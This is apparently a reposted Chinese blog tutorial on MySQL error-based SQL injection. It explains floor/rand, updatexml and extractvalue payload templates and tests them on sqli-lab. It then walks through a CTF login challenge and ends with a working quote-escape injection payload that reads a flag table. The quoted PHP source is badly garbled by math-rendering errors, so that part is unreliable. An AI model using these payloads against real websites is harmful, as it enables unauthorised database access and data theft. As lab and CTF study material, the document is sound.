sqlmap报错注入

sqlmap报错注入0x00背景学习记录一下报错型的注入,经各方整理和自己总结形成。所有的注入原理都是一样,即用户输入被拼接执行。但后台数据库执行语句产生错误并回显到页面时即可能存在报错注入。0x01概念报错型注入的利用大概有以下3种方式:复制代码1:?id=2’and(select1from(selectcount(*),concat(floor(rand(0)*2),(select(…


Jetbrains全系列IDE稳定放心使用

0x00 背景
学习记录一下报错型的注入,经各方整理和自己总结形成。

所有的注入原理都是一样,即用户输入被拼接执行。但后台数据库执行语句产生错误并回显到页面时即可能存在报错注入。

0x01概念
报错型注入的利用大概有以下3种方式:

复制代码
1:?id=2’ and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (查询语句))
from information_schema.tables limit 0,1))x from information_schema.tables group by x )a )–+
2:?id=2’ and updatexml(1,concat(0x7e,(SELECT 查询语句),0x7e),1)–+
3:?id=1’ and extractvalue(1, concat(0x7e, (select 查询语句),0x7e))–+
复制代码
对于1的分析:

复制代码
floor()是取整数 rand(0)*2将取0到2的随机数
floor(rand()2)有两条记录就会报错
floor(rand(0)2)记录需为3条以上,且3条以上必报错,返回的值是有规律的
count(
)是用来统计结果的,相当于刷新一次结果
group by 对数据分组时会先看看虚拟表里有没有这个值,若没有就插入,若存在则count(
)加1
group by 时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次
对于count()、rand()、group by 三者同时存在为什么会报错可以参考乌云tsafe的文章
复制代码
对于2的分析:

复制代码
函数的形式为:UPDATEXML (XML_document, XPath_string, new_value);、
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值,即改变XML_document中符合XPATH_string的值
而我们的注入语句为:updatexml(1,concat(0x7e,(SELECT 查询语句),0x7e),1)
concat()函数是将其参数连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误导致错误信息返回。
复制代码
对于3的分析:

复制代码
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串).
作用:从目标XML中返回包含所查询值的字符串

而我们的注入语句为:extractvalue(1, concat(0x7e, (select 查询语句),0x7e))
同2一样因为不符合XPATH_string的格式所以会报错
复制代码
0x03 实践
以sqli lab作为测试

?id=1’时:

?id=1’%23时:

带入上面的payload:

可以看到通过xmlupdate成功通过报错信息将数据库名显示出来了,接下来再依次按照求表、列的步骤进行

0x04 CTF实例
i春秋百度杯十月VId

这里省略信息收集,直接到SQL注入的部分

这里只有一个登录框,贴出源代码:

复制代码
1 <?php
2
3 require_once ‘dbmysql.class.php’;
4 require_once ‘config.inc.php’;
5
6 if(isset(KaTeX parse error: Expected ‘EOF’, got ‘&’ at position 20: …T[‘username’]) &̲& isset(_POST[‘password’]) && isset($_POST[‘number’])){

7 $db = new mysql_db();
8 $username = d b − > s a f e d a t a ( db->safe_data( db−>safed​ata(_POST[‘username’]);
9 $password = d b − > m y m d 5 ( db->my_md5( db−>mym​d5(_POST[‘password’]);
10 n u m b e r = i s n u m e r i c ( number = is_numeric( number=isn​umeric(_POST[‘number’]) ? $_POST[‘number’] : 1;
11
12 u s e r n a m e = t r i m ( s t r r e p l a c e ( username = trim(str_replace( username=trim(strr​eplace(number, ‘’, $username));
13
14 s q l = ” s e l e c t ∗ f r o m ” . ” ‘ ” . t a b l e n a m e . ” ‘ ” . ” w h e r e u s e r n a m e = ” . ” ′ ” . ” sql = “select * from”.”`”.table_name.”`”.”where username=”.”‘”.” sql=“select∗from“.“‘“.tablen​ame.“‘“.“whereusername=“.“′“.“username”.”’”;
15 $row = d b − > q u e r y ( db->query( db−>query(sql);
16 $result = d b − > f e t c h a r r a y ( db->fetch_array( db−>fetcha​rray(row);
17 if(KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: … 18 if(result[“number”] === $number && $result[“password”] === $password){

19 echo “”;
40 }
41 ?>
复制代码
safe_data()定义:

1 public function safe_data(KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: … stripcslashes(value);
4 }
5 return addslashes($value);
6 }

username在被传入之后首先被safe_data()转义,再被str_replace()处理去掉里面包含的number数字和空格,最后执行sql查询。在这里sql查询语句虽然也有拼接输入,但是需要闭合掉单引号。可是username在一开始加上单引号的话在被传入的时候就会被加上反斜杠。

读了i春秋论坛的writeup才明白可以这样构造:

Number=0&username=test%00’%23
Username经过转义变成test\0\’%23
然后替换操作 变成 test\’%23
单引号逃逸出去,同时因为用了trim所以不能使用空格来分割字段,可以使用+来连接。
最后构造的username为:

username=admin%00’+and+updatexml(1,concat(1,(select+*+from+flag+limit+1),1),1)%23
这里只能获取32位长度,要想获取完整的flag还需使用substr函数

0x05总结
这里只用了updatexml作为例子,其余2个原理都是一样的。

同时对于sqli lab的练习使用这一类注入手工速度很慢,接下来可以考虑写一个自动化的脚本。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/187698.html原文链接:https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长

相关推荐

  • 软件著作权 源码_python申请软件著作权

    软件著作权 源码_python申请软件著作权申请软件著作权时需要清除代码中的注释,可以通过word和Notepad++组合操作来快速的完成1。使用word的插入文件功能合并多个源代码文件,操作方法为:新打开1个word文件,在“插入”标签栏下找到“对象”点击右边的小三角下拉菜单里选择“文件中的文字…”,然后在跳出来的文件选择对话框里选择要合并的文件,如果对话框里没有显示出需要的文件,可能是文件类型过滤器选择的不对,更改为“所有文件…

    2022年9月13日
  • uCOSII操作系统移植笔记

    uCOSII操作系统移植笔记笔记一:今天粗略的看了一下周立功关于uc/osII在lpc2104上的移植方面的说明,这之中印象最深的应该是irq中断和软中断方面的处理,由于arm芯片的特殊性(拥有7种处理器模式),即每种处理器模式都有自己的堆栈,这样在处理堆栈的时候就会相应的麻烦一些。在响应异常时,该移植计划在初始代码里面比在没有操作系统的初始代码多了irq的处理,移植里面的irq处理多了由汇编语言编写的对任务环境的保存,

    2022年6月3日
  • kindeditorasp配置_php配置详解

    kindeditorasp配置_php配置详解KindEditor工具栏配置:第一种:打开KindEditor目录下的kindeditor.js文件,搜索items:,可以看到所有的工具栏按钮都在这里定义成一个数组。删除你不需要的按钮即可,不过这样的操作将影响所有调用该编辑器的页面。第二种:如果在create方法内尚未对其items进行任何指定,那么就会默认继承kindeditor.js内的items的配置,也就是全部菜单。当我们在cr…

    2022年10月12日
  • Python保留小数又不想四舍五入咋办?

    Python保留小数又不想四舍五入咋办?保留小数又不想四舍五入咋办?找了一会不知道用什么函数实现,突然想到可以这样…a=25.35568a=a-a%0.01print(a)

    2022年8月11日
  • qca wlan wifi modules 解析四

    qca wlan wifi modules 解析四WiFi驱动架构的一般层次为:应用层BSDsocket层TCP/IP协议层IP层网络设备层net/coremac8011层/ieee80211设备驱动层具体实例如下图:上层应用程序简历socket,对网络接口进行ioctl操作,正是通过触发,网络设备和80211层,调用底层驱动函数来实现的。qcawlanmodules中,通过创建虚拟AP来实现WiFi功能,即VAP…

    2022年7月11日
  • 阿里云URL转发类问题排查[通俗易懂]

    阿里云URL转发类问题排查[通俗易懂]概念URL转发包含URL隐性转发和URL显性转发,主要是指将一个域名指向另外一个已经存在的站点时,可以通过URL转发实现。隐性URL转发是用的是iframe框架技术,显性URL转发采用的是301(也称之为永久性转移)或302重定向技术(也称之为暂时性转移)。301和302说明301redirect:301代表永久性转移(PermanentlyMoved)302redirect:302代表暂时性转移(TemporarilyMoved)共同点:301和302状态码都表示重定向,当浏览

    2022年10月19日

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号